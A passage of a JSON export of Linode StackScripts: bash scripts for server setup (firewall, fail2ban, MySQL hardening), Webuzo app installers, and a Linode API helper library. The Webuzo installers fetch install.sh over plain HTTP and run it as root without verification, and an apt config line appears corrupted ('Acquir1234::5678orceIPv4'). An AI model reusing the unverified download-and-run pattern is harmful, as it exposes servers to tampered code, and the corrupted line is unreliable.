prevent busted nf_conntrack kernel modules for UFW - cmullen ", "script": "#!/bin/bash\n#
Used for Marketplace Apps\n# Helper functions\n\nfunction apt_setup_update {\n #
Force IPv4 and noninteractive update\n echo ''Acquir1234::5678orceIPv4 \"true\";''
> /etc/apt/apt.conf.d/99force-ipv4\n export DEBIAN_FRONTEND=noninteractive\n apt-get
update -y\n}\n\nfunction set_hostname {\n IP=`hostname -I | awk ''{print$1}''`\n HOSTNAME=`dnsdomainname
-A`\n hostnamectl set-hostname $HOSTNAME\n echo $IP $HOSTNAME >> /etc/hosts\n}\n\nfunction
mysql_root_preinstall {\n # Set MySQL root password on install\n debconf-set-selections
<<< \"mysql-server mysql-server/root_password password $DBROOT_PASSWORD\"\n debconf-set-selections
<<< \"mysql-server mysql-server/root_password_again password $DBROOT_PASSWORD\"\n}\n\nfunction
run_mysql_secure_installation_ubuntu20 {\n # Installs expect, runs mysql_secure_installation
and runs mysql secure installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect
-c \"\n set timeout 10\n spawn mysql_secure_installation\n expect \\\"Press
y|Y for Yes, any other key for No:\\\"\n send \\\"n\\r\\\"\n expect \\\"New
password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Re-enter new
password:\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Remove anonymous
users? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect
\\\"Disallow root login remotely? (Press y|Y for Yes, any other key for No)
:\\\"\n send \\\"y\\r\\\"\n expect \\\"Remove test database and access to
it? (Press y|Y for Yes, any other key for No) :\\\"\n send \\\"y\\r\\\"\n expect
\\\"Reload privilege tables now? (Press y|Y for Yes, any other key for No) :\\\"\n send
\\\"y\\r\\\"\n expect eof\n \")\n echo \"$SECURE_MYSQL\"\n}\n\nfunction ufw_install
{\n # Install UFW and add basic rules\n apt-get install ufw -y\n ufw default
allow outgoing\n ufw default deny incoming\n ufw allow ssh\n ufw enable\n systemctl
enable ufw\n\n # Stop flooding Console with messages\n ufw logging off\n}\n\nfunction
fail2ban_install {\n # Install and configure Fail2ban\n apt-get install fail2ban
-y\n cd /etc/fail2ban\n cp fail2ban.conf fail2ban.local\n cp jail.conf jail.local\n systemctl
start fail2ban\n systemctl enable fail2ban\n cd\n}\n\nfunction stackscript_cleanup
{\n # Force IPv4 and noninteractive upgrade after script runs to prevent breaking
nf_conntrack for UFW\n echo ''Acquir1234::5678orceIPv4 \"true\";'' > /etc/apt/apt.conf.d/99force-ipv4\n export
DEBIAN_FRONTEND=noninteractive \n apt-get upgrade -y\n\n rm /root/StackScript\n rm
/root/ssinclude*\n echo \"Installation complete!\"\n}\n\nfunction run_mysql_secure_installation
{\n # Installs expect, runs mysql_secure_installation and runs mysql secure
installation.\n apt-get install -y expect\n SECURE_MYSQL=$(expect -c \"\n set
timeout 10\n spawn mysql_secure_installation\n expect \\\"Enter current password
for root (enter for ):\\\"\n send \\\"$DBROOT_PASSWORD\\r\\\"\n expect \\\"Change
the root password?\\\"\n send \\\"n\\r\\\"\n expect \\\"Remove anonymous users?\\\"\n send
\\\"y\\r\\\"\n expect \\\"Disallow root login remotely?\\\"\n send \\\"y\\r\\\"\n expect
\\\"Remove test database and access to it?\\\"\n send \\\"y\\r\\\"\n expect
\\\"Reload privilege tables now?\\\"\n send \\\"y\\r\\\"\n expect eof\n \")\n echo
\"$SECURE_MYSQL\"\n}", "user_defined_fields": []}, {"id": 9239, "username":
"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Webasyst
powered by Webuzo", "description": "Webasyst is a free PHP framework for creating
sleek multi-user web apps and for building websites. Webasyst offers a multi-app
UI ready for integrating and designing your app, handles user authorization,
access rights management, routing setup, and much more. Great for creating web
solutions for businesses and teams. \r\n\t\t\t\r\nWebuzo is a Single User Control
Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or
System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines
or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure Webasyst
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Webasyst powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Webasyst and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Webasyst :\n# Webasyst
is a free PHP framework for creating sleek multi-user web apps and for building
websites.\n# Webasyst offers a multi-app UI ready for integrating and designing
your app, handles user \n# authorization, access rights management, routing
setup, and much more.\n# Great for creating web solutions for businesses and
teams. \n###########################################################################################################\n\n#
Install Webasyst Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=467&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
Webasyst and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, Webasyst has been successfully installed\"\necho \" \"\necho
\"You can now configure Webasyst and Softaculous Webuzo at the following URL
:\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 9240, "username":
"webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "jforum
powered by Webuzo", "description": "jforum is a powerful and robust discussion
board system implemented in Java. It provides an attractive interface, an efficient
forum engine, an easy to use administrative panel, an advanced permission control
system and much more. \r\n\t\t\t\r\nWebuzo is a Single User Control Panel which
helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps
(Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the
cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure jforum
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"jforum powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install jforum and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About jforum :\n# jforum
is a powerful and robust discussion board system implemented in Java.\n# It
provides an attractive interface, an efficient forum engine, an easy to use
administrative\n# panel, an advanced permission control system and much more.\n###########################################################################################################\n\n#
Install jforum Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=423&license=$1\"\n \n}\n\n# Install
Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo
Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log
2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log
2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n #
Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling
jforum and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script
$WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the
result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho
\" Installation Completed \"\necho \"-------------------------------------\"\necho
\"Congratulations, jforum has been successfully installed\"\necho \" \"\necho
\"You can now configure jforum and Softaculous Webuzo at the following URL :\"\necho
\"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous
Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1193752, "username":
"jrzavaschi1992", "user_gravatar_id": "6c0262d5482846284b510b579df19fdd", "label":
"API Functions Helper", "description": "api", "ordinal": 0, "logo_url": "",
"images": ["linode/slackware14.1", "linode/centos7", "linode/ubuntu16.04lts",
"linode/arch", "linode/slackware14.2", "linode/gentoo", "linode/debian9", "linode/ubuntu18.04",
"linode/debian10", "linode/centos8", "linode/alpine3.11"], "deployments_total":
0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05",
"updated": "2018-01-02T03:04:05", "rev_note": "", "script": "#!/usr/bin/env
bash\n\n### Linode API Bash Functions\n\n##################################\n##
Pre-Requisites\n##################################\n\n## Import StackScript
1 (Bash Library) so that check_dns_propagation() can install ''dig''\n#source
<ssinclude StackScriptID=1>\n\n## Install jq\nif [ ! -x /usr/bin/jq ] && [ !
-x /usr/local/bin/jq ]; then\n which wget || system_install_package wget\n wget
https://github.com/stedolan/jq/releases/download/jq-1.6/jq-linux64\n mv jq-linux64
jq\n chmod +x jq\n mv jq /usr/bin/\nfi\n\n\n##################################\n##
DNS\n##################################\n\n## Fetch DNS info from the API\n\nfunction
list_domains {\n # Example: list_domains\n\n curl -H \"Authorization:
Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/domains | jq
-S\n}\n\nfunction list_records {\n # Example: list_records $DOMAIN\n \n local
-r domain=\"$1\"\n local -r domain_id=$(get_domain_property $domain ''id'')\n\n curl
-H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/domains/$domain_id/records
| jq -S\n}\n\nfunction get_domain_property {\n # Example: get_domain_property
$DOMAIN ''id'' \n\n local -r domain=\"$1\" property=\"$2\"\n local -a
domain_list=($(list_domains $TOKEN_PASSWORD))\n local -r num_domains=$(echo
\"${domain_list[@]}\" | jq ''.results'')\n\n for ((i=0; i<$num_domains; i++));
do\n local domain_name=$(echo \"${domain_list[@]}\" | jq .data[$i].domain
| sed ''s/\"//g'')\n case \"$domain_name\" in\n \"$domain\")\n echo
\"${domain_list[@]}\" | jq .data[$i].$property\n break;\n ;;\n esac\n done\n}\n\nfunction
check_domain {\n # Example: check_domain \"$DOMAIN\"\n\n local -r domain=\"$1\"\n if
[ \"$(get_domain_property \"$domain\" ''domain'')\" ];\n then return
0;\n else return 1;\n fi\n}\n\nfunction get_record_id {\n # Example:
get_record_id \"$DOMAIN\" \"$SUBDOMAIN\" \"$TYPE\"\n\n local -r domain=\"$1\"
subdomain=\"$2\" type=\"$3\"\n local -r domain_id=$(get_domain_property \"$domain\"
''id'')\n local -a record_list=($(list_records \"$domain\"))\n local -r
num_records=$(echo \"${record_list[@]}\" | jq ''.results'')\n\n for ((i=0;
i<$num_records; i++)); do\n local record_name=$(echo \"${record_list[@]}\"
| jq .data[$i].name | sed ''s/\"//g'')\n case \"$record_name\" in\n \"$subdomain\")\n local
record_type=$(echo \"${record_list[@]}\" | jq .data[$i].type | sed ''s/\"//g'')\n if
[ \"$record_type\" == \"$type\" ]; then\n echo \"${record_list[@]}\"
| jq .data[$i].id\n break;\n fi\n ;;\n esac\n done\n}\n\nfunction
check_record {\n # Example: check_record $DOMAIN $SUBDOMAIN $TYPE\n\n local
-r domain=\"$1\" subdomain=\"$2\" type=\"$3\"\n local -r domain_id=$(get_domain_property
\"$domain\" ''id'')\n local -a record_list=($(list_records \"$domain\"))\n local
-r num_records=$(echo \"${record_list[@]}\" | jq ''.results'')\n\n for ((i=0;
i<$num_records; i++)); do\n local record_name=$(echo \"${record_list[@]}\"
| jq .data[$i].name | sed ''s/\"//g'')\n case \"$record_name\" in \n \"$subdomain\")\n local
record_type=$(echo \"${record_list[@]}\" | jq .data[$i].type | sed ''s/\"//g'')\n if
[ \"$record_type\" == \"$type\" ]; then\n local found_record=true\n break;\n fi\n ;;\n esac\n done\n\n if
[ \"$found_record\" ]; then\n return 0;\n else\n return 1;\n fi\n}\n\n##
Create new DNS records\n\nfunction create_domain {\n # Example: create_domain
$DOMAIN $SOA_EMAIL_ADDRESS\n \n local -r domain=\"$1\" soa_email_address=\"$2\"\n\n curl
-H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer
$TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"domain\": \"''\"$domain\"''\",\n \"type\":
\"master\",\n \"soa_email\": \"''\"$soa_email_address\"''\",\n \"description\":
\" \",\n \"refresh_sec\": 14400,\n \"retry_sec\": 3600,\n \"expire_sec\":
604800,\n \"ttl_sec\": 300,\n \"status\": \"active\",\n \"display_group\":
\" \"\n }'' https://api.linode.com/v4/domains\n\n # There''s a
reason I added this, but it seems I didn''t leave a comment\n # I''ll
experiment with removing it later, but am leaving it for now in\n # the
interest of not breaking anything\n sleep 3\n}\n\nfunction create_a_record
{\n # Example: create_a_record $SUBDOMAIN $IP $DOMAIN\n\n local -r subdomain=\"$1\"
ip_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property
\"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H
\"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\":
\"A\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\":
\"''\"$ip_address\"''\",\n \"priority\": 0,\n \"service\":
null,\n \"protocol\": null\n }'' https://api.linode.com/v4/domains/$domain_id/records\n\n}\n\nfunction
create_aaaa_record {\n # Example: create_aaaa_record $SUBDOMAIN $IP $DOMAIN\n\n local
-r subdomain=\"$1\" ip6_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property
\"$domain\" ''id'')\n\n curl -H \"Content-Type: application/json\" \\\n -H
\"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\":
\"AAAA\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\":
\"''\"$ip6_address\"''\",\n \"priority\": 0,\n \"service\":
null,\n \"protocol\": null\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction
create_mx_record {\n # Example: create_mx_record $DOMAIN\n\n local -r
domain=\"$1\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n\n curl
-H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer
$TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"MX\",\n \"name\":
\"''\"mail.${domain}\"''\",\n \"target\": \"''\"$domain\"''\",\n \"priority\":
10,\n \"service\": null,\n \"protocol\": null,\n \"ttl_sec\":
0\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction
create_spf_record {\n ## This function needs updating to allow the creation
of custom SPF records\n\n # Example create_spf_record $DOMAIN\n\n local
-r domain=\"$1\"\n local -r domain_id=$(get_domain_property \"$domain\" ''id'')\n\n curl
-H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer
$TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"type\": \"TXT\",\n \"name\":
\"''\"$domain\"''\",\n \"target\": \"v=spf1 a ~all\",\n \"priority\":
50,\n \"ttl_sec\": 0\n }'' https://api.linode.com/v4/domains/$domain_id/records\n}\n\nfunction
set_rdns {\n # Example: set_rdns $FQDN $IP\n\n local -r fqdn=\"$1\" ip_address=\"$2\"\n\n check_dns_propagation
\"$fqdn\" \"$ip_address\"\n\n printf \"Setting rDNS...\\n\"\n curl -H
\"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\"
\\\n -X PUT -d ''{\n \"rdns\": \"''\"$fqdn\"''\"\n }''
https://api.linode.com/v4/networking/ips/$ip_address\n}\n\n\n## Update existing
DNS records\n\nfunction update_domain_property {\n # Example: update_domain_property
$DOMAIN $PROPERTIES_JSON\n\n local -r domain=\"$1\"\n local -r domain_id=\"$(get_domain_property
\"$domain\" ''id'')\"\n\n # Import the passed data into an associative array\n local
var=$(declare -p ${2})\n eval \"local -a properties_json=\"${var#*=}\n\n curl
-H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer
$TOKEN_PASSWORD\" \\\n -X PUT -d \"${properties_json}\" \\\n https://api.linode.com/v4/domains/$domain_id\n}\n\nfunction
update_a_record {\n # Example: update_a_record $SUBDOMAIN $IP_ADDRESS $DOMAIN\n \n local
-r subdomain=\"$1\" ip_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property
\"$domain\" ''id'')\n local -r record_id=$(get_record_id \"$domain\" \"$subdomain\"
''A'')\n\n curl -H \"Content-Type: application/json\" \\\n -H \"Authorization:
Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d ''{\n \"type\": \"A\",\n \"name\":
\"''\"$subdomain\"''\",\n \"target\": \"''\"$ip_address\"''\"\n }''
https://api.linode.com/v4/domains/$domain_id/records/$record_id\n}\n\nfunction
update_aaaa_record {\n # Example: update_aaaa_record $SUBDOMAIN $IP6 $DOMAIN\n\n local
-r subdomain=\"$1\" ip6_address=\"$2\" domain=\"$3\"\n local -r domain_id=$(get_domain_property
\"$domain\" ''id'')\n local -r record_id=$(get_record_id \"$domain\" \"$subdomain\"
''AAAA'')\n\n curl -H \"Content-Type: application/json\" \\\n -H
\"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X PUT -d ''{\n \"type\":
\"AAAA\",\n \"name\": \"''\"$subdomain\"''\",\n \"target\":
\"''\"$ip6_address\"''\"\n }'' https://api.linode.com/v4/domains/$domain_id/records/$record_id\n}\n\n\n##
Automate DNS record creation\n#\n# *** IMPORTANT ***\n#\n# To use this next
function, you''ll need to create an associative array outside of it to be passed
in\n# Here''s an example:\n#\n# declare -A dns_records=(\n# [soa_email_address]=\"$SOA_EMAIL_ADDRESS\"\n# [domain]=\"$DOMAIN\"\n# [subdomain]=\"www\"\n# [mx_record]=''Yes''\n# [spf_record]=''Yes''\n#
)\n#\n# set_dns \"dns_records\"\n\nfunction set_dns {\n # Import the passed
data into an associative array\n local var=$(declare -p ${1})\n eval \"local
-A records=\"${var#*=}\n\n # Create the domain, if specified, and get it''s
ID\n # Also, create the A record for the base domain\n if ! check_domain
\"${records[domain]}\"; then\n # Create the domain\n create_domain
\"${records[domain]}\" \"${records[email_address]}\"\n\n # Create the
base A record\n create_a_record \"\" \"${records[ipv4_address]}\" \"${records[domain]}\"\n create_aaaa_record
\"\" \"${records[ipv6_address]}\" \"${records[domain]}\"\n fi\n\n # If
the A record doesn''t already exist, create it\n if ! check_record \"${records[domain]}\"
\"${records[subdomain]}\" ''A''; then\n create_a_record \"${records[subdomain]}\"
\"${records[ipv4_address]}\" \"${records[domain]}\"\n # Otherwise, update
it\n else\n update_a_record \"${records[subdomain]}\" \"${records[ipv4_address]}\"
\"${records[domain]}\"\n fi\n\n # If the AAAA record doesn''t exist, create
it\n if ! check_record \"${records[domain]}\" \"${records[subdomain]}\" ''AAAA'';
then\n create_aaaa_record \"${records[subdomain]}\" \"${records[ipv6_address]}\"
\"${records[domain]}\"\n # Otherwise, update it\n else\n update_aaaa_record
\"${records[subdomain]}\" \"${records[ipv6_address]}\" \"${records[domain]}\"\n fi\n\n #
Create an MX record, if requested\n case \"${records[mx_record]}\" in\n ''Yes'')\n list_records
\"${records[domain]}\" | grep ''MX''\n [ $? -ne 0 ] && create_mx_record
\"${records[domain]}\"\n ;;\n esac\n\n # Create an SPF record,
if requested\n case \"${records[spf_record]}\" in\n ''Yes'')\n list_records
\"${records[domain]}\" | grep ''spf''\n [ $? -ne 0 ] && create_spf_record
\"${records[domain]}\"\n ;;\n esac\n}\n\n\n## Verify DNS records\n\nfunction
check_dns_propagation {\n # Example: check_dns_propagation $FQDN $IP\n\n local
-r fqdn=\"$1\" ip_address=\"$2\"\n\n # Check for ''dig'' and install ''dnsutils''
if it''s not there\n if ! dig; then\n case \"${detected_distro[family]}\"
in\n ''debian'')\n system_install_package dnsutils\n ;;\n ''redhat'')\n system_install_package
bind-utils\n ;;\n esac\n fi\n\n # List of nameservers
to check\n # Specifically, Google''s and Linode''s\n local -a nameservers=(\n ''8.8.4.4''\n ''8.8.8.8''\n # ''162.159.27.72''\n # ''162.159.24.39''\n # ''162.159.25.129''\n # ''162.159.26.99''\n # ''162.159.24.25''\n )\n\n #
Check for the record in each of the nameservers\n # listed in ${nameservers[@]}\n for
i in ${nameservers[@]}; do\n local a=1\n printf \"Waiting for
propagation to %s\" $i\n while [ $a -gt 0 ]; do\n result=\"$(dig
@$i +short $fqdn)\"\n if [ \"$result\" == \"$ip_address\" ]; then\n ((a-=1))\n result=''''\n else\n printf
\".\"\n sleep 10\n fi\n done\n printf
\"done.\\n\"\n done\n\n printf \"\\n%s has finished propagating!\\n\"
$fqdn\n}\n\nfunction check_rdns_propagation {\n # Example check_rdns_propagation
$IP $DOMAIN\n\n local -r ip_address=\"$1\" domain=\"$2\"\n local a=1\n\n while
[ $a -ne 0 ]; do\n if [ \"$(dig +short -x \"$ip_address\" | grep \"$domain\")\"
]; then\n a=0\n else\n printf \".\"\n sleep
10\n fi\n done\n}\n\n\n\n##################################\n## Object
Storage Buckets\n##################################\n\n## Create Object Storage
Buckets\n\nfunction create_obj_bucket {\n local -r bucket_name=\"$1\" cluster=\"$2\"
acl=\"$3\" cors=\"$4\"\n\n curl -H \"Content-Type: application/json\" \\\n -H
\"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST -d ''{\n \"label\":
\"''\"$bucket_name\"''\",\n \"cluster\": \"''\"$cluster\"''\",\n \"cors_enabled\":
''$cors'',\n \"acl\": \"''\"$acl\"''\"\n }'' https://api.linode.com/v4/object-storage/buckets/\n}\n\n\n\n##################################\n##
Block Storage Volumes\n##################################\n\n## List Block Storage
Volumes\n\nfunction list_volumes {\n # Example: list_volumes\n\n curl
-H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n https://api.linode.com/v4/volumes
| jq -S\n}\n\nfunction get_volume_property {\n # Example: get_volume_property
\"$VOLUME_LABEL\" \"$PROPERTY\"\n\n local -r volume=\"$1\" property=\"$2\"\n local
-a volume_list=(\"$(list_volumes)\")\n local -r num_volumes=$(echo \"${volume_list[@]}\"
| jq ''.results'')\n\n for ((i=0; i<$num_volumes; i++)); do\n local
volume_name=$(echo \"${volume_list[@]}\" | jq .data[$i].label | sed ''s/\"//g'')\n case
\"$volume_name\" in\n \"$volume\")\n echo \"${volume_list[@]}\"
| jq .data[$i].$property\n break;\n ;;\n esac\n done\n}\n\nfunction
check_volume {\n # Example: check_volume \"$volume\"\n\n local -r volume=\"$1\"\n if
[ $(get_volume_property \"$volume\" ''label'') ];\n then return 0;\n else
return 1;\n fi\n}\n\n\n## Create Block Storage Volumes\n\nfunction create_volume
{\n # Example: create_volume \"$VOLUME_LABEL\" $VOLUME_SIZE $LINODE_ID (optional)\n #
If you don''t specify a Linode ID, it will default to the current Linode\n\n local
-r label=\"$1\" size=\"$2\" linode_id=\"${3:-$LINODE_ID}\"\n\n curl -H \"Content-Type:
application/json\" \\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\"
\\\n -X POST -d ''{\n \"label\": \"''\"$label\"''\",\n \"size\":
''$size'',\n \"linode_id\": ''$linode_id''\n }'' https://api.linode.com/v4/volumes
| jq -S\n}\n\n\n## Attach/Detach/Mount Block Storage Volumes\n\nfunction attach_volume
{\n # Example: attach_volume \"$VOLUME_LABEL\" $LINODE_ID (optional)\n #
If you don''t specify a Linode ID, it will default to the current Linode\n\n local
-r volume_label=\"$1\" linode_id=\"${2:-$LINODE_ID}\"\n local -r volume_id=$(get_volume_property
\"$volume_label\" ''id'')\n\n curl -H \"Content-Type: application/json\"
\\\n -H \"Authorization: Bearer $TOKEN_PASSWORD\" \\\n -X POST
-d ''{\n \"linode_id\": ''$linode_id''\n }'' https://api.linode.com/v4/volumes/$volume_id/attach\n\n}\n\nfunction
detach_volume {\n # Example: detach_volume $VOLUME_ID\n\n local -r volume_id=\"$1\"\n\n curl
-H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer
$TOKEN_PASSWORD\" \\\n -X POST \\\n https://api.linode.com/v4/volumes/$volume_id/detach\n\n}\n\nfunction
mount_volume {\n # Example: mount_volume \"$VOLUME_LABEL\" ''/path/to/mount_point''\n\n local
-r volume_label=\"$1\" mount_point=\"$2\"\n local -r volume_path=\"$(\n get_volume_property
\"$volume_label\" ''filesystem_path'' | sed ''s/\"//g''\n )\"\n\n # Wait
for the volume to become available before proceeding\n local x=1\n while
[ $x -gt 0 ]; do\n [ -e $volume_path ] && ((x-=1))\n sleep 1\n done\n\n #
Create a filesystem on the volume\n mkfs.ext4 \"$volume_path\"\n\n # Create
\"$mount_point\" and mount the volume there\n mkdir -p \"$mount_point\"\n mount
\"$volume_path\" \"$mount_point\"\n\n # Automatically mount the volume at
boot\n echo \"$volume_path $mount_point ext4 defaults 0 2\" >> /etc/fstab\n}\n\n\nfunction
delete_volume {\n # Example: delete_volume $VOLUME_ID\n\n local -r volume_id=\"$1\"\n\n curl
-H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer
$TOKEN_PASSWORD\" \\\n -X DELETE \\\n https://api.linode.com/v4/volumes/$volume_id\n}",
"user_defined_fields": []}, {"id": 48408, "username": "crooksau", "user_gravatar_id":
"f33d8e66bbce5c95fcb2a96dc8a4beaa", "label": "Debian 8 Install", "description":
"Debian 8 Install for BODYRUBS.RU", "ordinal": 0, "logo_url": "", "images":
["linode/debian8"], "deployments_total": 0, "deployments_active": 0, "is_public":
true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05",
"rev_note": "Initial import", "script": "#!/bin/sh", "user_defined_fields":
[]}, {"id": 9241, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5",
"label": "Admidio powered by Webuzo", "description": "Admidio is a free online
membership management, optimized for clubs, groups and organizations. It consists
of classical management members from a variety of modules that can be installed
and adjusted to a new or existing website.\r\n\r\nRegistered users have your
website by Admidio including access to predefined and user-configurable membership
lists, people profiles and an Agenda. In addition, members may be pooled in
groups are assigned properties and search for it.\r\n\r\nWebuzo is a Single
User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal,
etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual
machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath
to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion
of the installation process, access http://your-ip:2004 to configure Admidio
and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact",
"ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit",
"linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"],
"deployments_total": 0, "deployments_active": 0, "is_public": true, "mine":
false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note":
"Admidio powered by Webuzo", "script": "#!/bin/bash\n# <udf name=\"webuzo_license_key\"
label=\"Premium Webuzo License Key\" example=\"WEBUZO-XXXXX-XXXXX-XXXXX\"/>\n\n###########################################################################################################\n#
Install Admidio and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo
is a Single User Control Panel which helps users deploy Web Apps (WordPress,
Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB,
etc) on their virtual machines or in the cloud.\n#\n# About Admidio :\n# Admidio
is a free online membership management, optimized for clubs, groups and organizations.\n# It
consists of classical management members from a variety of modules that can
be installed \n# and adjusted to a new or existing website.\n###########################################################################################################\n\n#
Install Admidio Script using Webuzo\nfunction install_webuzo_script(){\n \n #
Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php
>> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl
\"http://$ip:2004/install.php?prepareinstall=449&license=$1\"\n \n}\n\n# Install
